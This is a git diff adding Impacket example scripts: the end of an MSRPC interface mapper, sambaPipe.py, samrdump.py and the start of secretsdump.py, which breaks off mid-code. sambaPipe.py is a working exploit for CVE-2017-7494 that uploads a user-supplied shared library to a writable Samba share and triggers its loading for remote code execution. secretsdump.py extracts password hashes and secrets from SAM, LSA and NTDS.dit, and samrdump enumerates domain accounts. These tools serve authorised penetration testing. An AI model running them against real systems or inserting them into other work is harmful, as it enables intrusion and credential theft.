+ for i, result in enumerate(results): + print("Opnum %d: %s" % (i, result)) + + def bruteforce_uuids(self): + for tup in sorted(self.__uuids): + # Is there a way to test multiple UUIDs in a single rpc channel? + self.__dce.connect() + binuuid = uuid.uuidtup_to_bin(tup) + + try: + self.__dce.bind(binuuid) + except rpcrt.DCERPCException as e: + # For Windows SMB + if str(e).find('abstract_syntax_not_supported') >= 0: + continue + # For Samba + if str(e).find('nca_s_proto_error') >= 0: + continue + # For Samba + if str(e).find('reason_not_specified') >= 0: + continue + + self.handle_discovered_tup(tup) + + logging.info("Tested %d UUID(s)", len(self.__uuids)) + + def handle_discovered_tup(self, tup): + if tup[0] in epm.KNOWN_PROTOCOLS: + print("Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]])) + else: + print("Procotol: N/A") + + if uuid.uuidtup_to_bin(tup)[: 18] in KNOWN_UUIDS: + print("Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]])) + else: + print("Provider: N/A") + + print("UUID: %s v%s" % (tup[0], tup[1])) + + if self.__brute_versions: + self.bruteforce_versions(tup[0]) + + if self.__brute_opnums: + try: + self.bruteforce_opnums(uuid.uuidtup_to_bin(tup)) + except DCERPCException as e: + if str(e).find('abstract_syntax_not_supported') >= 0: + print("Listening: False") + else: + raise + print() + +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print(version.BANNER) + + class SmartFormatter(argparse.HelpFormatter): + def _split_lines(self, text, width): + if text.startswith('R|'): + return text[2:].splitlines() + else: + return argparse.HelpFormatter._split_lines(self, text, width) + + parser = argparse.ArgumentParser(add_help=True, formatter_class=SmartFormatter, description="Lookups listening MSRPC interfaces.") + parser.add_argument('stringbinding', help='R|String binding to connect to MSRPC interface, for example:\n' + 'ncacn_ip_tcp:192.168.0.1[135]\n' + 'ncacn_np:192.168.0.1[\\pipe\\spoolss]\n' + 'ncacn_http:192.168.0.1[593]\n' + 'ncacn_http:[6001,RpcProxy=exchange.contoso.com:443]\n' + 'ncacn_http:localhost[3388,RpcProxy=rds.contoso:443]' + ) + parser.add_argument('-brute-uuids', action='store_true', help='Bruteforce UUIDs even if MGMT interface is available') + parser.add_argument('-brute-opnums', action='store_true', help='Bruteforce opnums for found UUIDs') + parser.add_argument('-brute-versions', action='store_true', help='Bruteforce major versions of found UUIDs') + parser.add_argument('-opnum-max', action='store', type=int, default=64, help='Bruteforce opnums from 0 to N, default 64') + parser.add_argument('-version-max', action='store', type=int, default=64, help='Bruteforce versions from 0 to N, default 64') + parser.add_argument('-auth-level', action='store', type=int, default=6, help='MS-RPCE auth level, from 1 to 6, default 6 ' + '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)') + parser.add_argument('-uuid', action='store', help='Test only this UUID') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('ncacn-np-details') + + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. ' + 'If omitted it will use whatever was specified as target. This is useful when target is the ' + 'NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + group = parser.add_argument_group('authentication') + group.add_argument('-auth-rpc', action='store', default='', help='[domain/]username[:password]') + group.add_argument('-auth-transport', action='store', default='', help='[domain/]username[:password]') + group.add_argument('-hashes-rpc', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-hashes-transport', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for passwords') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + rpcdomain, rpcuser, rpcpass = parse_credentials(options.auth_rpc) + transportdomain, transportuser, transportpass = parse_credentials(options.auth_transport) + + if options.brute_opnums and options.brute_versions: + logging.error("Specify only -brute-opnums or -brute-versions") + sys.exit(1) + + if rpcdomain is None: + rpcdomain = '' + + if transportdomain is None: + transportdomain = '' + + if rpcpass == '' and rpcuser != '' and options.hashes_rpc is None and options.no_pass is False: + from getpass import getpass + rpcpass = getpass("Password for MSRPC communication:") + + if transportpass == '' and transportuser != '' and options.hashes_transport is None and options.no_pass is False: + from getpass import getpass + transportpass = getpass("Password for RPC transport (SMB or HTTP):") + + if options.uuid is not None: + uuids = [uuid.string_to_uuidtup(options.uuid)] + options.brute_uuids = True + else: + uuids = rpcdatabase.uuid_database + + try: + lookuper = RPCMap(options.stringbinding, options.auth_level, options.brute_uuids, uuids, + options.brute_opnums, options.opnum_max, options.brute_versions, options.version_max) + lookuper.set_rpc_credentials(rpcuser, rpcpass, rpcdomain, options.hashes_rpc) + lookuper.set_transport_credentials(transportuser, transportpass, transportdomain, options.hashes_transport) + lookuper.set_smb_info(options.target_ip, options.port) + lookuper.connect() + lookuper.do() + lookuper.disconnect() + except Exception as e: + #raise + + # This may contain UTF-8 + error_text = 'Protocol failed: %s' % e + logging.critical(error_text) + + # Exchange errors + if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text: + logging.critical("This usually means the target is a MS Exchange Server, " + "and connections to this rpc port on this host are not allowed (try port 6001)") + + if RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ + RPC_PROXY_CONN_A1_404_ERR in error_text: + logging.critical("This usually means the target is a MS Exchange Server, " + "and connections to the specified RPC server are not allowed") + + # Other errors + if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: + logging.critical("This usually means the target has no ACL to connect to this endpoint using RpcProxy") + + if RPC_PROXY_HTTP_IN_DATA_401_ERR in error_text or RPC_PROXY_CONN_A1_401_ERR in error_text: + if lookuper.get_rpc_transport().get_auth_type() == AUTH_BASIC and transportdomain == '': + logging.critical("RPC proxy basic authentication might require you to specify the domain. " + "Your domain is empty!") + + if RPC_PROXY_CONN_A1_401_ERR in error_text or \ + RPC_PROXY_CONN_A1_404_ERR in error_text: + logging.info("A proxy in front of the target server detected (may be WAF / SIEM)") + + if 'rpc_s_access_denied' in error_text: + logging.critical("This usually means the credentials on the MSRPC level are invalid!") diff --git a/examples/sambaPipe.py b/examples/sambaPipe.py new file mode 100644 index 0000000..577ef29 --- /dev/null +++ b/examples/sambaPipe.py @@ -0,0 +1,285 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through +# the -so parameter. +# +# The script will use SMB1 or SMB2/3 depending on the target's availability. Also, the target share pathname is +# retrieved by using NetrShareEnum() API with info level 2. +# +# Example: +# +# ./sambaPipe.py -so poc/libpoc.linux64.so bill@10.90.1.1 +# +# It will upload the libpoc.linux64.so file located in the poc directory against the target 10.90.1.1. The username +# to use for authentication will be 'bill' and the password will be asked. +# +# ./sambaPipe.py -so poc/libpoc.linux64.so 10.90.1.1 +# +# Same as before, but anonymous authentication will be used. +# +# Author: +# beto (@agsolino) +# + +import argparse +import logging +import sys +from os import path + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.nt_errors import STATUS_SUCCESS +from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ + FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE +from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ + SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA +from impacket.smbconnection import SMBConnection + + +class PIPEDREAM: + def __init__(self, smbClient, options): + self.__smbClient = smbClient + self.__options = options + + def isShareWritable(self, shareName): + logging.debug('Checking %s for write access' % shareName) + try: + logging.debug('Connecting to share %s' % shareName) + tid = self.__smbClient.connectTree(shareName) + except Exception as e: + logging.debug(str(e)) + return False + + try: + self.__smbClient.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + writable = True + except Exception: + writable = False + pass + + return writable + + def findSuitableShare(self): + from impacket.dcerpc.v5 import transport, srvs + rpctransport = transport.SMBTransport(self.__smbClient.getRemoteName(), self.__smbClient.getRemoteHost(), + filename=r'\srvsvc', smb_connection=self.__smbClient) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrShareEnum(dce, 2) + for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']: + if self.isShareWritable(share['shi2_netname'][:-1]): + sharePath = share['shi2_path'].split(':')[-1:][0][:-1] + return share['shi2_netname'][:-1], sharePath + + raise Exception('No suitable share found, aborting!') + + def uploadSoFile(self, shareName): + # Let's extract the filename from the input file pathname + fileName = path.basename(self.__options.so.replace('\\', '/')) + logging.info('Uploading %s to target' % fileName) + fh = open(self.__options.so, 'rb') + self.__smbClient.putFile(shareName, fileName, fh.read) + fh.close() + return fileName + + def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, + impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, + createContexts=None): + + packet = self.__smbClient.getSMBServer().SMB_PACKET() + packet['Command'] = SMB2_CREATE + packet['TreeID'] = treeId + if self.__smbClient._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: + packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS + + smb2Create = SMB2Create() + smb2Create['SecurityFlags'] = 0 + smb2Create['RequestedOplockLevel'] = oplockLevel + smb2Create['ImpersonationLevel'] = impersonationLevel + smb2Create['DesiredAccess'] = desiredAccess + smb2Create['FileAttributes'] = fileAttributes + smb2Create['ShareAccess'] = shareMode + smb2Create['CreateDisposition'] = creationDisposition + smb2Create['CreateOptions'] = creationOptions + + smb2Create['NameLength'] = len(fileName) * 2 + if fileName != '': + smb2Create['Buffer'] = fileName.encode('utf-16le') + else: + smb2Create['Buffer'] = b'\x00' + + if createContexts is not None: + smb2Create['Buffer'] += createContexts + smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] + smb2Create['CreateContextsLength'] = len(createContexts) + else: + smb2Create['CreateContextsOffset'] = 0 + smb2Create['CreateContextsLength'] = 0 + + packet['Data'] = smb2Create + + packetID = self.__smbClient.getSMBServer().sendSMB(packet) + ans = self.__smbClient.getSMBServer().recvSMB(packetID) + if ans.isValidAnswer(STATUS_SUCCESS): + createResponse = SMB2Create_Response(ans['Data']) + + # The client MUST generate a handle for the Open, and it MUST + # return success and the generated handle to the calling application. + # In our case, str(FileID) + return str(createResponse['FileID']) + + def openPipe(self, sharePath, fileName): + # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style + # to make things easier for the caller. Not this time ;) + treeId = self.__smbClient.connectTree('IPC$') + sharePath = sharePath.replace('\\', '/') + pathName = '/' + path.join(sharePath, fileName) + logging.info('Final path to load is %s' % pathName) + logging.info('Triggering bug now, cross your fingers') + + if self.__smbClient.getDialect() == SMB_DIALECT: + _, flags2 = self.__smbClient.getSMBServer().get_flags() + + pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName + + ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() + ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength'] = len(pathName) + ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA + ntCreate['Parameters']['FileAttributes'] = 0 + ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ + ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE + ntCreate['Parameters']['CreateOptions'] = FILE_OPEN + ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION + ntCreate['Parameters']['SecurityFlags'] = 0 + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = pathName + + if flags2 & SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + return self.__smbClient.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) + else: + return self.create(treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) + + def run(self): + logging.info('Finding a writeable share at target') + + shareName, sharePath = self.findSuitableShare() + + logging.info('Found share %s with path %s' % (shareName, sharePath)) + + fileName = self.uploadSoFile(shareName) + + logging.info('Share path is %s' % sharePath) + try: + self.openPipe(sharePath, fileName) + except Exception as e: + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + logging.info('Expected STATUS_OBJECT_NAME_NOT_FOUND received, doesn\'t mean the exploit worked tho') + else: + logging.info('Target likely not vulnerable, Unexpected %s' % str(e)) + finally: + logging.info('Removing file from target') + self.__smbClient.deleteFile(shareName, fileName) + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Samba Pipe exploit") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-so', action='store', required = True, help='so filename to upload and load') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + if options.target_ip is None: + options.target_ip = address + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + else: + lmhash = '' + nthash = '' + + try: + smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT) + if options.k is True: + smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip) + else: + smbClient.login(username, password, domain, lmhash, nthash) + + if smbClient.getDialect() != SMB_DIALECT: + # Let's disable SMB3 Encryption for now + smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA + pipeDream = PIPEDREAM(smbClient, options) + pipeDream.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) diff --git a/examples/samrdump.py b/examples/samrdump.py new file mode 100644 index 0000000..013e9f7 --- /dev/null +++ b/examples/samrdump.py @@ -0,0 +1,262 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# DCE/RPC SAMR dumper. +# +# Author: +# Javier Kohen +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC for SAMR +# + +from __future__ import division +from __future__ import print_function +import sys +import logging +import argparse +import codecs + +from datetime import datetime +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import version +from impacket.nt_errors import STATUS_MORE_ENTRIES +from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5.rpcrt import DCERPCException + +class ListUsersException(Exception): + pass + +class SAMRDump: + def __init__(self, username='', password='', domain='', hashes=None, + aesKey=None, doKerberos=False, kdcHost=None, port=445, csvOutput=False): + + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__port = port + self.__csvOutput = csvOutput + + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def dump(self, remoteName, remoteHost): + """Dumps the list of users and shares registered present at + remoteName. remoteName is a valid host name or IP address. + """ + + entries = [] + + logging.info('Retrieving endpoint list from %s' % remoteName) + + stringbinding = r'ncacn_np:%s[\pipe\samr]' % remoteName + logging.debug('StringBinding %s'%stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + try: + entries = self.__fetchList(rpctransport) + except Exception as e: + logging.critical(str(e)) + + # Display results. + + if self.__csvOutput is True: + print('#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,UserComment,ScriptPath') + + for entry in entries: + (username, uid, user) = entry + pwdLastSet = (user['PasswordLastSet']['HighPart'] << 32) + user['PasswordLastSet']['LowPart'] + if pwdLastSet == 0: + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(pwdLastSet))) + + if user['UserAccountControl'] & samr.USER_DONT_EXPIRE_PASSWORD: + dontExpire = 'True' + else: + dontExpire = 'False' + + if user['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED: + accountDisabled = 'True' + else: + accountDisabled = 'False' + + if self.__csvOutput is True: + print('%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'], + user['BadPasswordCount'], user['LogonCount'],pwdLastSet, + dontExpire, accountDisabled, user['UserComment'].replace(',','.'), + user['ScriptPath'] )) + else: + base = "%s (%d)" % (username, uid) + print(base + '/FullName:', user['FullName']) + print(base + '/UserComment:', user['UserComment']) + print(base + '/PrimaryGroupId:', user['PrimaryGroupId']) + print(base + '/BadPasswordCount:', user['BadPasswordCount']) + print(base + '/LogonCount:', user['LogonCount']) + print(base + '/PasswordLastSet:',pwdLastSet) + print(base + '/PasswordDoesNotExpire:',dontExpire) + print(base + '/AccountIsDisabled:',accountDisabled) + print(base + '/ScriptPath:', user['ScriptPath']) + + if entries: + num = len(entries) + if 1 == num: + logging.info('Received one entry.') + else: + logging.info('Received %d entries.' % num) + else: + logging.info('No entries received.') + + + def __fetchList(self, rpctransport): + dce = rpctransport.get_dce_rpc() + + entries = [] + + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + + try: + resp = samr.hSamrConnect(dce) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) + domains = resp['Buffer']['Buffer'] + + print('Found domain(s):') + for domain in domains: + print(" . %s" % domain['Name']) + + logging.info("Looking up users in domain %s" % domains[0]['Name']) + + resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) + + resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) + domainHandle = resp['DomainHandle'] + + status = STATUS_MORE_ENTRIES + enumerationContext = 0 + while status == STATUS_MORE_ENTRIES: + try: + resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + + for user in resp['Buffer']['Buffer']: + r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) + print("Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] )) + info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) + entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) + entries.append(entry) + samr.hSamrCloseHandle(dce, r['UserHandle']) + + enumerationContext = resp['EnumerationContext'] + status = resp['ErrorCode'] + + except ListUsersException as e: + logging.critical("Error listing users: %s" % e) + + dce.disconnect() + + return entries + + +# Process command-line arguments. +if __name__ == '__main__': + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the " + "target system.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-csv', action='store_true', help='Turn CSV output') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if domain is None: + domain = '' + + if options.target_ip is None: + options.target_ip = remoteName + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + dumper = SAMRDump(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port), options.csv) + dumper.dump(remoteName, options.target_ip) diff --git a/examples/secretsdump.py b/examples/secretsdump.py new file mode 100644 index 0000000..304be4f --- /dev/null +++ b/examples/secretsdump.py @@ -0,0 +1,431 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Performs various techniques to dump hashes from the +# remote machine without executing any agent there. +# For SAM and LSA Secrets (including cached creds) +# we try to read as much as we can from the registry +# and then we save the hives in the target system +# (%SYSTEMROOT%\\Temp dir) and read the rest of the +# data from there. +# For NTDS.dit we either: +# a. Get the domain users list and get its hashes +# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() +# call, replicating just the attributes we need. +# b. Extract NTDS.dit via vssadmin executed with the +# smbexec approach. +# It's copied on the temp dir and parsed remotely. +# +# The script initiates the services required for its working +# if they are not available (e.g. Remote Registry, even if it is +# disabled). After the work is done, things are restored to the +# original state. +# +# Author: +# Alberto Solino (@agsolino) +# +# References: +# Most of the work done by these guys. I just put all +# the pieces together, plus some extra magic. +# +# - https://github.com/gentilkiwi/kekeo/tree/master/dcsync +# - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html +# - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html +# - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html +# - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 +# - https://code.google.com/p/creddump/ +# - https://lab.mediaservice.net/code/cachedump.rb +# - https://insecurety.net/?p=768 +# - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm +# - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf +# - https://www.passcape.com/index.php?section=blog&cmd=details&id=15 +# + +from __future__ import division +from __future__ import print_function +import argparse +import codecs +import logging +import os +import sys + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.smbconnection import SMBConnection + +from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, \ + KeyListSecrets +from impacket.krb5.keytab import Keytab +try: + input = raw_input +except NameError: + pass + +class DumpSecrets: + def __init__(self, remoteName, username='', password='', domain='', options=None): + self.__useVSSMethod = options.use_vss + self.__useKeyListMethod = options.use_keylist + self.__remoteName = remoteName + self.__remoteHost = options.target_ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__aesKeyRodc = options.rodcKey + self.__smbConnection = None + self.__remoteOps = None + self.__SAMHashes = None + self.__NTDSHashes = None + self.__LSASecrets = None + self.__KeyListSecrets = None + self.__rodc = options.rodcNo + self.__systemHive = options.system + self.__bootkey = options.bootkey + self.__securityHive = options.security + self.__samHive = options.sam + self.__ntdsFile = options.ntds + self.__history = options.history + self.__noLMHash = True + self.__isRemote = True + self.__outputFileName = options.outputfile + self.__doKerberos = options.k + self.__justDC = options.just_dc + self.__justDCNTLM = options.just_dc_ntlm + self.__justUser = options.just_dc_user + self.__pwdLastSet = options.pwd_last_set + self.__printUserStatus= options.user_status + self.__resumeFileName = options.resumefile + self.__canProcessSAMLSA = True + self.__kdcHost = options.dc_ip + self.__options = options + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self): + self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def dump(self): + try: + if self.__remoteName.upper() == 'LOCAL' and self.__username == '': + self.__isRemote = False + self.__useVSSMethod = True + if self.__systemHive: + localOperations = LocalOperations(self.__systemHive) + bootKey = localOperations.getBootKey() + if self.__ntdsFile is not None: + # Let's grab target's configuration about LM Hashes storage + self.__noLMHash = localOperations.checkNoLMHashPolicy() + else: + import binascii + bootKey = binascii.unhexlify(self.__bootkey) + + else: + self.__isRemote = True + bootKey = None + try: + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + pass + else: + raise + + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + self.__remoteOps.setExecMethod(self.__options.exec_method) + if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True: + self.__remoteOps.enableRegistry() + bootKey = self.__remoteOps.getBootKey() + # Let's check whether target system stores LM Hashes + self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() + except Exception as e: + self.__canProcessSAMLSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__doKerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ + logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') + else: + logging.error('RemoteOperations failed: %s' % str(e)) + + # If the KerberosKeyList method is enable we dump the secrets only via TGS-REQ + if self.__useKeyListMethod is True: + try: + self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) + self.__KeyListSecrets.dump() + except Exception as e: + logging.error('Something went wrong with the Kerberos Key List approach.: %s' % str(e)) + else: + # If RemoteOperations succeeded, then we can extract SAM and LSA + if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: + try: + if self.__isRemote is True: + 